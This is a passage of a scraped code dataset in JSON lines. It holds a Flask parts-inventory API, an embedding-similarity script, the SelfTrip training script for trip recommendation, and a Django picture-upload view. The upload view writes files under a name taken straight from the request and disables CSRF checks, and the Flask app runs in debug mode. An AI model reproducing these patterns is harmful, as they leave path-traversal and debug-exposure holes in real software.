"line_number": 304, "usage_type": "attribute"}, {"api_name": "source_estimate._make_stc", "line_number": 306, "usage_type": "call"}, {"api_name": "utils.logger.info", "line_number": 316, "usage_type": "call"}, {"api_name": "utils.logger", "line_number": 316, "usage_type": "name"}, {"api_name": "utils.verbose", "line_number": 163, "usage_type": "name"}, {"api_name": "_fiff.constants.FIFF.FIFFV_MNE_FREE_ORI", "line_number": 327, "usage_type": "attribute"}, {"api_name": "_fiff.constants.FIFF", "line_number": 327, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 353, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 353, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 355, "usage_type": "call"}, {"api_name": "numpy.complex128", "line_number": 355, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 361, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 380, "usage_type": "attribute"}, {"api_name": "utils.verbose", "line_number": 335, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 389, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 389, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 391, "usage_type": "call"}, {"api_name": "numpy.complex128", "line_number": 391, "usage_type": "attribute"}, {"api_name": "time_frequency.tfr.cwt", "line_number": 394, "usage_type": "call"}, {"api_name": "numpy.asfortranarray", "line_number": 395, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 399, "usage_type": "call"}, {"api_name": "numpy.complex128", "line_number": 399, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 401, "usage_type": "attribute"}, {"api_name": "numpy.real", "line_number": 403, "usage_type": "call"}, {"api_name": "numpy.imag", "line_number": 403, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 404, "usage_type": "call"}, {"api_name": "utils.logger.debug", "line_number": 417, "usage_type": "call"}, {"api_name": "utils.logger", "line_number": 417, "usage_type": "name"}, {"api_name": "inverse.combine_xyz", "line_number": 418, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 428, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 439, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 442, "usage_type": "call"}, {"api_name": "numpy.intersect1d", "line_number": 447, "usage_type": "call"}, {"api_name": "numpy.intersect1d", "line_number": 448, "usage_type": "call"}, {"api_name": "numpy.intersect1d", "line_number": 452, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 457, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 464, "usage_type": "call"}, {"api_name": "utils._validate_type", "line_number": 494, "usage_type": "call"}, {"api_name": "label.Label", "line_number": 496, "usage_type": "name"}, {"api_name": "label.BiHemiLabel", "line_number": 496, "usage_type": "name"}, {"api_name": "utils._validate_type", "line_number": 501, "usage_type": "call"}, {"api_name": "label.Label", "line_number": 503, "usage_type": "name"}, {"api_name": "label.BiHemiLabel", "line_number": 503, "usage_type": "name"}, {"api_name": "epochs.get_data", "line_number": 514, "usage_type": "call"}, {"api_name": "parallel.parallel_func", "line_number": 530, "usage_type": "call"}, {"api_name": "epochs.info", "line_number": 533, "usage_type": "attribute"}, {"api_name": "utils.logger.info", "line_number": 535, "usage_type": "call"}, {"api_name": "utils.logger", "line_number": 535, "usage_type": "name"}, {"api_name": "time_frequency.tfr.morlet", "line_number": 537, "usage_type": "call"}, {"api_name": "numpy.array_split", "line_number": 554, "usage_type": "call"}, {"api_name": "label.Label", "line_number": 559, "usage_type": "name"}, {"api_name": "label.BiHemiLabel", "line_number": 559, "usage_type": "name"}, {"api_name": "utils.logger.info", "line_number": 560, "usage_type": "call"}, {"api_name": "utils.logger", "line_number": 560, "usage_type": "name"}, {"api_name": "label.name", "line_number": 561, "usage_type": "attribute"}, {"api_name": "utils.logger.info", "line_number": 565, "usage_type": "call"}, {"api_name": "utils.logger", "line_number": 565, "usage_type": "name"}, {"api_name": "utils._pl", "line_number": 567, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 574, "usage_type": "call"}, {"api_name": "utils.verbose", "line_number": 470, "usage_type": "name"}, {"api_name": "utils._check_option", "line_number": 692, "usage_type": "call"}, {"api_name": "inverse.INVERSE_METHODS", "line_number": 692, "usage_type": "argument"}, {"api_name": "inverse._check_ori", "line_number": 693, "usage_type": "call"}, {"api_name": "baseline.rescale", "line_number": 717, "usage_type": "call"}, {"api_name": "epochs.times", "line_number": 717, "usage_type": "attribute"}, {"api_name": "utils.verbose", "line_number": 582, "usage_type": "name"}, {"api_name": "event.make_fixed_length_events", "line_number": 863, "usage_type": "call"}, {"api_name": "epochs.Epochs", "line_number": 864, "usage_type": "call"}, {"api_name": "evoked.data", "line_number": 891, "usage_type": "attribute"}, {"api_name": "numpy.log10", "line_number": 897, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 899, "usage_type": "call"}, {"api_name": "evoked.data", "line_number": 901, "usage_type": "attribute"}, {"api_name": "evoked.nave", "line_number": 902, "usage_type": "attribute"}, {"api_name": "utils.verbose", "line_number": 723, "usage_type": "name"}, {"api_name": "utils.logger.info", "line_number": 932, "usage_type": "call"}, {"api_name": "utils.logger", "line_number": 932, "usage_type": "name"}, {"api_name": "utils._validate_type", "line_number": 938, "usage_type": "call"}, {"api_name": "label.Label", "line_number": 940, "usage_type": "name"}, {"api_name": "label.BiHemiLabel", "line_number": 940, "usage_type": "name"}, {"api_name": "numpy.eye", "line_number": 959, "usage_type": "call"}, {"api_name": "numpy.array_split", "line_number": 963, "usage_type": "call"}, {"api_name": "epochs.times", "line_number": 968, "usage_type": "attribute"}, {"api_name": "epochs.info", "line_number": 969, "usage_type": "attribute"}, {"api_name": "time_frequency.multitaper._compute_mt_params", "line_number": 971, "usage_type": "call"}, {"api_name": "epochs.events", "line_number": 979, "usage_type": "attribute"}, {"api_name": "utils.logger.info", "line_number": 987, "usage_type": "call"}, {"api_name": "utils.logger", "line_number": 987, "usage_type": "name"}, {"api_name": "parallel.parallel_func", "line_number": 990, "usage_type": "call"}, {"api_name": "time_frequency.multitaper._psd_from_mt_adaptive", "line_number": 991, "usage_type": "argument"}, {"api_name": "numpy.sqrt", "line_number": 994, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 994, "usage_type": "attribute"}, {"api_name": "inverse._subject_from_inverse", "line_number": 996, "usage_type": "call"}, {"api_name": "utils.ProgressBar", "line_number": 997, "usage_type": "call"}, {"api_name": "_fiff.pick.pick_info", "line_number": 998, "usage_type": "call"}, {"api_name": "epochs.info", "line_number": 998, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 1000, "usage_type": "call"}, {"api_name": "time_frequency.multitaper._mt_spectra", "line_number": 1003, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 1007, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 1007, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 1013, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 1017, "usage_type": "call"}, {"api_name": "numpy.array_split", "line_number": 1021, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 1023, "usage_type": "call"}, {"api_name": "time_frequency.multitaper._psd_from_mt", "line_number": 1026, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 1029, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1029, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 1037, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 1043, "usage_type": "call"}, {"api_name": "numpy.array_split", "line_number": 1049, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 1051, "usage_type": "call"}, {"api_name": "time_frequency.multitaper._psd_from_mt", "line_number": 1054, "usage_type": "call"}, {"api_name": "inverse.combine_xyz", "line_number": 1061, "usage_type": "call"}, {"api_name": "source_estimate._make_stc", "line_number": 1066, "usage_type": "call"}, {"api_name": "evoked.EvokedArray", "line_number": 1079, "usage_type": "call"}, {"api_name": "utils.verbose", "line_number": 1088, "usage_type": "name"}]} {"seq_id": "4407674499", "text": "from flask import Flask, jsonify, request\n\n\napp = Flask(__name__)\n\npecas = [\n {\n 'id': 1,\n 'peca' : 'bateria',\n 'descricao':'bateria moura'\n },\n {\n 'id': 2,\n 'peca' : 'bubina',\n 'descricao':'bubina generica'\n },\n {\n 'id': 3,\n 'peca' : 'filtro de oleo',\n 'descricao':'filtro de oleo generico'\n }\n]\n\n\n@app.route('/pecas', methods=['GET'])\ndef obter_pecas():\n return jsonify(pecas)\n\n@app.route('/pecas/', methods=['GET'])\ndef obter_pecas_id(id):\n for peca in pecas:\n if peca.get('id') == id:\n return jsonify(peca)\n\n@app.route('/pecas/', methods=['PUT'])\ndef editar_peca_id(id):\n peca_dif = request.get_json()\n for indice,peca in enumerate(pecas):\n if peca.get('id') == id:\n pecas[indice].update(peca_dif)\n return jsonify(pecas[indice])\n\n\n@app.route('/pecas', methods=['POST'])\ndef incluir_nova_peca():\n nova_peca = request.get_json()\n pecas.append(nova_peca)\n\n return jsonify(pecas)\n\n@app.route('/pecas/', methods=['DELETE'])\ndef excluir_peca(id):\n for indice, peca in enumerate(pecas):\n if peca.get('id') == id:\n del pecas[indice]\n return jsonify(pecas)\n\napp.run(port=5000, host='localhost', debug=True)", "repo_name": "SamSantos1jz/api-Python", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1300, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 46, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 46, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 56, "usage_type": "call"}]} {"seq_id": "14267584357", "text": "import pickle\nfrom numpy import dot\nfrom numpy.linalg import norm\nfrom scipy.spatial import distance\n\nwith open('./anchor_embeddings.pkl', 'rb') as handler:\n anchor_embeddings = pickle.load(handler)\n\nwith open('./positive_embeddings.pkl', 'rb') as handler:\n positive_embeddings = pickle.load(handler)\n\nwith open('./negative_embeddings.pkl', 'rb') as handler:\n negative_embeddings = pickle.load(handler)\n\ndef cos_sim(a, b):\n return dot(a, b)/(norm(a)*norm(b))\n\n# print(len(anchor_embeddings))\nsimilarity_scores = []\nfor i in range(len(anchor_embeddings)):\n anchor_vector = anchor_embeddings[i]\n positive_vector = positive_embeddings[i] \n negative_vector = negative_embeddings[i]\n # print(type(anchor_vector), anchor_vector.shape)\n pos_cos_sim = 1 - distance.cosine(anchor_vector, positive_vector)\n # pos_cos_sim = 1 - distance.euclidean(anchor_vector, positive_vector)\n # pos_cos_sim = cos_sim(anchor_vector, positive_vector)\n\n neg_cos_sim = 1 - distance.cosine(anchor_vector, negative_vector)\n # neg_cos_sim = 1 - distance.euclidean(anchor_vector, negative_vector)\n # neg_cos_sim = cos_sim(anchor_vector, negative_vector)\n print(pos_cos_sim, neg_cos_sim)\n similarity_scores.append( (pos_cos_sim, neg_cos_sim) )\n # break\n\nwith open('./similarity_scores.pkl', 'wb') as handler:\n pickle.dump(similarity_scores, handler)\n\n\n", "repo_name": "TDPatcher/TDPatcher", "sub_path": "model_train/3_compute_similarity.py", "file_name": "3_compute_similarity.py", "file_ext": "py", "file_size_in_byte": 1373, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pickle.load", "line_number": 7, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 16, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.cosine", "line_number": 25, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 25, "usage_type": "name"}, {"api_name": "scipy.spatial.distance.cosine", "line_number": 29, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 29, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 37, "usage_type": "call"}]} {"seq_id": "1522800046", "text": "#!/usr/bin/python3\r\n# coding=utf-8\r\nimport sys\r\nsys.path.append(\"../../\")\r\nimport tensorflow as tf\r\nimport time\r\nfrom input_data import Load_data\r\nfrom model import QueryModel\r\nfrom model import Decoder\r\nfrom model import Hidden_init\r\nfrom metric import *\r\nfrom sklearn.model_selection import LeaveOneOut, KFold\r\n\r\nimport sys\r\nimport random\r\n\r\ncities = [\r\n'osaka',\r\n#'glas',\r\n#'edin',\r\n#'toro',\r\n#'melb',\r\n#'weeplaces_poi_25_length_3-15-numtraj_765',\r\n#'weeplaces_poi_50_length_3-15-numtraj_2134',\r\n#'weeplaces_poi_100_length_3-15-numtraj_4497',\r\n#'weeplaces_poi_200_length_3-15-numtraj_7790',\r\n#'weeplaces_poi_400_length_3-15-numtraj_12288',\r\n]\r\nif len(sys.argv) > 1:\r\n id = int(sys.argv[1]) % len(cities)\r\nelse:\r\n id = random.randint(0, len(cities) - 1)\r\ncity = cities[id]\r\n# city = 'Glas'\r\n# city = 'Edin'\r\n# city = 'Toro'\r\ntf.keras.backend.set_floatx('float64')# float desgin\r\n\r\npretrain_batch_size = 32\r\nbatch_size = 32\r\nk = 256\r\ndec_units = 256\r\n\r\ndata = Load_data(city)\r\npoi_embedding, poi_size = data.self_embedding()\r\ndata_size = data.data_size()\r\n\r\nquery = QueryModel(poi_embedding, k)\r\ndecoder = Decoder(poi_embedding, poi_size, dec_units)\r\nh_state = Hidden_init(dec_units)\r\n\r\nloss_object = tf.keras.losses.SparseCategoricalCrossentropy(\r\n from_logits=True, reduction='none')\r\n\r\n\r\ndef loss_function(real, pred, real2, pred2):\r\n mask = tf.math.logical_not(tf.math.equal(real, 0))\r\n loss_ = loss_object(real, pred)\r\n mask = tf.cast(mask, dtype=loss_.dtype)\r\n loss_ *= mask\r\n\r\n loss = loss_object(real2, pred2)\r\n\r\n return tf.reduce_mean(loss_) + 1 * tf.reduce_mean(loss)\r\n\r\n\r\ndef pre_loss_function(sim):\r\n real = np.eye(pretrain_batch_size)\r\n loss = tf.keras.losses.categorical_crossentropy(real, sim)\r\n\r\n return tf.reduce_mean(loss)\r\n\r\n\r\n# --------------------------- pre-train_step ------------------------------\r\ndef pre_train_step(pre_que, sample1, sample2, lr=0.0005):\r\n pre_loss = 0\r\n optimizer = tf.keras.optimizers.Adam(lr=lr)\r\n\r\n with tf.GradientTape() as tape:\r\n query_out = query(pre_que)\r\n dec_input1 = sample1[:, 0]\r\n dec_input2 = sample2[:, 0]\r\n dec_hidden1 = h_state(query_out)\r\n dec_hidden2 = h_state(query_out)\r\n for t in range(1, sample1.shape[1]):\r\n output1, dec_hidden1 = decoder.pre_train(dec_input1, query_out, dec_hidden1)\r\n output2, dec_hidden2 = decoder.pre_train(dec_input2, query_out, dec_hidden2)\r\n dec_input1 = sample1[:, t]\r\n dec_input2 = sample2[:, t]\r\n sim = tf.matmul(output1, tf.transpose(output2))\r\n sim = tf.math.softmax(sim)\r\n pre_loss += pre_loss_function(sim)\r\n\r\n batch_loss = pre_loss\r\n variables = decoder.trainable_variables + query.trainable_variables + h_state.trainable_variables\r\n gradients = tape.gradient(pre_loss, variables)\r\n optimizer.apply_gradients(zip(gradients, variables))\r\n return batch_loss\r\n\r\n\r\nexps = tf.keras.optimizers.schedules.ExponentialDecay(\r\n 0.1,\r\n decay_steps=5,\r\n decay_rate=0.9,\r\n staircase=False)\r\n\r\n# --------------------------- train_step ---------------------------------\r\ndef train_step(que, traj,lr = 0.1):\r\n loss = 0\r\n optimizer = tf.keras.optimizers.Adam(lr=lr)\r\n\r\n with tf.GradientTape() as tape:\r\n query_out = query(que)\r\n dec_input = traj[:, 0]\r\n dec_hidden=h_state(query_out)\r\n\r\n for t in range(1, traj.shape[1]):\r\n predictions, predictions2, dec_hidden = decoder(dec_input, query_out, dec_hidden)\r\n loss += loss_function(traj[:, t], predictions, que[:, 2], predictions2)\r\n dec_input = tf.argmax(tf.nn.softmax(predictions), 1)\r\n\r\n batch_loss = loss\r\n variables = query.trainable_variables + decoder.trainable_variables+h_state.trainable_variables\r\n gradients = tape.gradient(loss, variables)\r\n optimizer.apply_gradients(zip(gradients, variables))\r\n return batch_loss\r\n\r\n\r\n# ------------------------------- evaluate ------------------------------\r\ndef evaluate(que, traj):\r\n predict_traj = []\r\n realnum_poi = 0\r\n query_out = query(que)\r\n dec_input = traj[:, 0]\r\n\r\n for poi in tf.squeeze(traj):\r\n if (poi == 0):\r\n break\r\n realnum_poi += 1\r\n realnum_poi = realnum_poi - 2\r\n\r\n start_poi = traj[:, 0]\r\n start_poi = tf.cast(start_poi,dtype=tf.int32)\r\n end_poi = traj[:, realnum_poi + 1]\r\n predict_traj.append(start_poi)\r\n dec_hidden = h_state(query_out)\r\n table = np.ones([poi_size],dtype=np.float64)\r\n\r\n table[start_poi.numpy()] = 0.\r\n table[end_poi.numpy()] = 0.\r\n table[0] = 0.\r\n\r\n for t in range(realnum_poi):\r\n decoder.set_dropout()\r\n predictions, _, dec_hidden = decoder(dec_input, query_out,dec_hidden)\r\n mask = tf.expand_dims(table,axis=0)\r\n dec_input = tf.argmax(tf.nn.softmax(predictions * mask), 1)\r\n predict_traj.append(dec_input)\r\n\r\n predict_traj.append(end_poi)\r\n real_traj = tf.squeeze(traj)[0:realnum_poi + 1].numpy()\r\n real_traj = np.append(real_traj, end_poi)\r\n predict_traj = [i.numpy().tolist() for i in predict_traj]\r\n predict_traj = [i[0] for i in predict_traj]\r\n\r\n return real_traj, predict_traj\r\n\r\n\r\nif __name__ == '__main__':\r\n import pandas as pd\r\n import datetime\r\n from BERT_Trip.util import evaluate_results, save_results\r\n total_test_f1 = []\r\n total_test_pairs_f1 = []\r\n\r\n max_f1 = []\r\n max_pf1 = []\r\n fold = 0\r\n df = pd.read_csv('./train_data/'+city+'-query.csv', header = None, sep= ' ', names = ['startPOI', 'startTime', 'endPOI', 'endTime'])\r\n seed = int(datetime.datetime.now().timestamp())\r\n random.seed(seed)\r\n np.random.seed(seed)\r\n loo = KFold(n_splits = 5, shuffle = True, random_state = seed)\r\n for train_index, test_index in loo.split(df):\r\n decoder.reset_variable()\r\n query.reset_variable()\r\n h_state.reset_variable()\r\n\r\n pre_dataset_train, _, pre_steps_train, _ = data.load_dataset_kfold(train_index, test_index, pretrain_batch_size)\r\n # -------------------------- pre-train ----------------------------\r\n PRE_EPOCHES = 5\r\n EPOCHS = 20\r\n avg = []\r\n for epoch in range(PRE_EPOCHES):\r\n start = time.time()\r\n pre_loss = 0\r\n #print(\"pretrain epoch\", epoch)\r\n for (batch, (que, traj)) in enumerate(pre_dataset_train.take(pre_steps_train)):\r\n total_batch_loss = 0\r\n pre_que, sample1, sample2 = data.load_pretrain_dataset(que, traj)\r\n pre_batch_loss = pre_train_step(pre_que, sample1, sample2)\r\n pre_loss += pre_batch_loss\r\n #print('Epoch {} Loss {:.4f}'.format(epoch + 1, pre_loss / pre_steps_train))\r\n avg.append(time.time() - start)\r\n print(f'{city}: Pretain Time taken for 1 epoch {avg[-1]:.3f} sec avg: {np.mean(avg):.3f}')\r\n\r\n # ------------------------------ train -----------------------------------\r\n dataset_train, dataset_val, steps_train, steps_val = data.load_dataset_kfold(train_index, test_index, pretrain_batch_size)\r\n start1 = time.time()\r\n best_test_f1 = -1\r\n best_result_list = []\r\n res = {}\r\n avg = []\r\n for epoch in range(EPOCHS):\r\n start = time.time()\r\n total_loss = 0\r\n lr = 0.1\r\n #print(f\"train epoch: {epoch}\")\r\n for (batch, (que, traj)) in enumerate(dataset_train.take(steps_train)):\r\n batch_loss = train_step(que, traj, lr)\r\n total_loss += batch_loss\r\n\r\n avg.append(time.time() - start)\r\n print(f'{city}: Time taken for 1 epoch {avg[-1]:.3f} sec avg: {np.mean(avg):.3f}')\r\n result_list = []\r\n for (batch, (que, traj)) in enumerate(dataset_val.take(steps_val)):\r\n for i in range(len(traj)):\r\n traj1 = traj[i].numpy()\r\n indexs = np.where(traj1 == 0)\r\n traj1 = np.delete(traj1,indexs)\r\n traj1 = tf.convert_to_tensor(traj1)\r\n que1 = tf.expand_dims(que[i], 0)\r\n traj1 = tf.expand_dims(traj1, 0)\r\n real_traj, predict_traj = evaluate(que1, traj1)\r\n\r\n result_list.append({'expected': real_traj.tolist(), 'predict': predict_traj})\r\n e = evaluate_results(result_list)['f1']\r\n if e > best_test_f1:\r\n best_test_f1 = e\r\n best_result_list = result_list\r\n\r\n save_results(\r\n dataset = city,\r\n method = 'SelfTrip',\r\n train_size = len(train_index),\r\n test_size = len(test_index),\r\n fold = fold,\r\n seed = seed,\r\n results = result_list,\r\n )\r\n print(\"best f1: \", best_test_f1)\r\n print('\\n--' * 2 + 'Time take {} sec'.format(time.time() - start1))\r\n print('---- finish' + ' index = ' + str(fold) + '-' * 5 + '\\n')\r\n fold = fold + 1\r\n", "repo_name": "KuoAiTe/BERT-Trip", "sub_path": "baseline/selftrip/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 9209, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 30, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend.set_floatx", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 37, "usage_type": "attribute"}, {"api_name": "input_data.Load_data", "line_number": 44, "usage_type": "call"}, {"api_name": "model.QueryModel", "line_number": 48, "usage_type": "call"}, {"api_name": "model.Decoder", "line_number": 49, "usage_type": "call"}, {"api_name": "model.Hidden_init", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.SparseCategoricalCrossentropy", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 52, "usage_type": "attribute"}, {"api_name": "tensorflow.math.logical_not", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 57, "usage_type": "attribute"}, {"api_name": "tensorflow.math.equal", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.categorical_crossentropy", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 77, "usage_type": "attribute"}, {"api_name": "tensorflow.GradientTape", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.matmul", "line_number": 90, "usage_type": "call"}, {"api_name": "tensorflow.transpose", "line_number": 90, "usage_type": "call"}, {"api_name": "tensorflow.math.softmax", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 91, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.schedules.ExponentialDecay", "line_number": 101, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 101, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 110, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 110, "usage_type": "attribute"}, {"api_name": "tensorflow.GradientTape", "line_number": 112, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 120, "usage_type": "attribute"}, {"api_name": "tensorflow.squeeze", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 143, "usage_type": "attribute"}, {"api_name": "tensorflow.expand_dims", "line_number": 156, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 157, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 157, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 157, "usage_type": "attribute"}, {"api_name": "tensorflow.squeeze", "line_number": 161, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 179, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 180, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 180, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 181, "usage_type": "call"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 183, "usage_type": "call"}, {"api_name": "time.time", "line_number": 195, "usage_type": "call"}, {"api_name": "time.time", "line_number": 204, "usage_type": "call"}, {"api_name": "time.time", "line_number": 209, "usage_type": "call"}, {"api_name": "time.time", "line_number": 215, "usage_type": "call"}, {"api_name": "time.time", "line_number": 223, "usage_type": "call"}, {"api_name": "tensorflow.convert_to_tensor", "line_number": 231, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 232, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 233, "usage_type": "call"}, {"api_name": "BERT_Trip.util.evaluate_results", "line_number": 237, "usage_type": "call"}, {"api_name": "BERT_Trip.util.save_results", "line_number": 242, "usage_type": "call"}, {"api_name": "time.time", "line_number": 252, "usage_type": "call"}]} {"seq_id": "38361053462", "text": "# coding=utf-8\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\nimport os\nimport uuid\nimport json\nfrom django.shortcuts import render, render_to_response\nfrom django.http import HttpResponse\nfrom cms.models import Picture, Classification\nfrom django.views.decorators.csrf import csrf_exempt\nfrom PIL import Image\n\nbasePath = os.path.dirname(os.path.dirname(__file__))\n\n@csrf_exempt\ndef getPicturePosition(req):\n\t\"\"\"\n\t获取所属栏目\n\t:param req:\n\t:return:\n\t\"\"\"\n\tclassification = Classification.objects.all().order_by(\"classificationIdLevel\") #根据栏目级别排序\n\tList = []\n\tfor obj in classification:\n\t\tclassificationList = {}\n\t\tclassificationList[\"classificationId\"] = obj.classificationId\n\t\tclassificationList[\"classificationName\"] = obj.classificationName\n\t\tclassificationList[\"classificationIdLevel\"] = obj.classificationIdLevel\n\t\tList.append(classificationList)\n\treturn HttpResponse(json.dumps(List))\n\n@csrf_exempt\ndef savePicture(req):\n\t\"\"\"\n\t添加图片\n\t:param req:\n\t:return:\n\t\"\"\"\n\t# picture = Picture.objects.filter(pictureId = req.POST[\"pictureId\"])\n\tpicturePosition = req.POST[\"picturePosition\"] #所属栏目\n\tpictureName = req.POST[\"pictureName\"] #图片名称\n\tisShow = req.POST[\"isShow\"] #是否启用\n\tif isShow == \"true\":\n\t\tisShow = 1\n\telse:\n\t\tisShow = 0\n\t#保存图片\n\treqfile = req.FILES.get(\"pictureUrl\", False)\n\tif reqfile != False:\n\t\tpictureUrl = \"cms/static/img/classPic/\"+pictureName\n\t\tpicturePath = os.path.join(basePath, pictureUrl)\n\t\timg = Image.open(reqfile)\n\t\timg.thumbnail((700, 700), Image.ANTIALIAS) #对图片进行等比缩放\n\t\timg.save(picturePath, \"png\") #保存图片\n\telse:\n\t\tpictureUrl = \"\"\n\t#修改图片\n\t#添加图片\n\tpictureId = uuid.uuid1()\n\tpicture = Picture(pictureId=pictureId, pictureName=pictureName, picturePath=\"/\"+pictureUrl, isShow=isShow, classificationId_id=picturePosition)\n\tpicture.save()\n\treturn HttpResponse(1)\n", "repo_name": "ftconan/blog", "sub_path": "cms/addPictureViews.py", "file_name": "addPictureViews.py", "file_ext": "py", "file_size_in_byte": 1974, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.setdefaultencoding", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cms.models.Classification.objects.all", "line_number": 24, "usage_type": "call"}, {"api_name": "cms.models.Classification.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "cms.models.Classification", "line_number": 24, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 32, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 17, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 54, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 54, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 55, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 55, "usage_type": "name"}, {"api_name": "uuid.uuid1", "line_number": 61, "usage_type": "call"}, {"api_name": "cms.models.Picture", "line_number": 62, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 64, 